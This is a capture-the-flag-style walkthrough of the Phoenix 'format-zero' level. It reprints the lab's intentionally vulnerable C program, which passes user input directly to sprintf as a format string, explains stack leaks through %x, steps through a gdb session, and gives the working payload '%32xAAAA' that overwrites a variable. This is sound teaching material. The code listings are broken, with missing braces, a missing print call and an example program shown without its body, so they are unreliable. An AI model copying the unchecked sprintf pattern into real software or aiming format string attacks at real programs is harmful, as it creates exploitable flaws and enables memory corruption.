Phoenix - Format Zero

2 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "


To learn about format string vulnerability see the references at the end.

This code uses sprintf function to write the formatted string buffer to dest.

The bug here is that if we entered a format string like %d without additional arguments (a number in this case) we could leak some values of the stack.

For example:

int main() {
# output: d0a8b868 d0a8b878 3c43b1b0

As you can see we were able to leak some stack addresses.

Back to our level we must overflow dest to overwrite changeme but the buffer is too small for that so we can use the format string trick to solve this.

As you saw that one %x prints 8 characters so we can enter: (4 %x + value of changeme).

We can also just enter one %x with padding of 32 bytes like this: (%32x + value of changeme).

user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/format-zero 
Reading symbols from /opt/phoenix/amd64/format-zero...(no debugging symbols found)...done.

gef➤  disassemble main 
Dump of assembler code for function main:
   0x0000000000400700 <+99>:	mov    eax,0x0
   0x0000000000400705 <+104>:	call   0x400500 <sprintf@plt>
   0x000000000040070a <+109>:	mov    eax,DWORD PTR [rbp-0x10]

gef➤  b *0x000000000040070a
Breakpoint 1 at 0x40070a

gef➤  r
Starting program: /opt/phoenix/amd64/format-zero 
Welcome to phoenix/format-zero, brought to you by

gef➤  x/5xg $rbp-0x30
0x7fffffffe620:	0x2020202020202020	0x2020202020202020
0x7fffffffe630:	0x2020202020202020	0x3031366566666666
0x7fffffffe640:	0x0000000a41414141


$ echo "%32xAAAA" | /opt/phoenix/amd64/format-zero 
Welcome to phoenix/format-zero, brought to you by
Well done, the 'changeme' variable has been changed!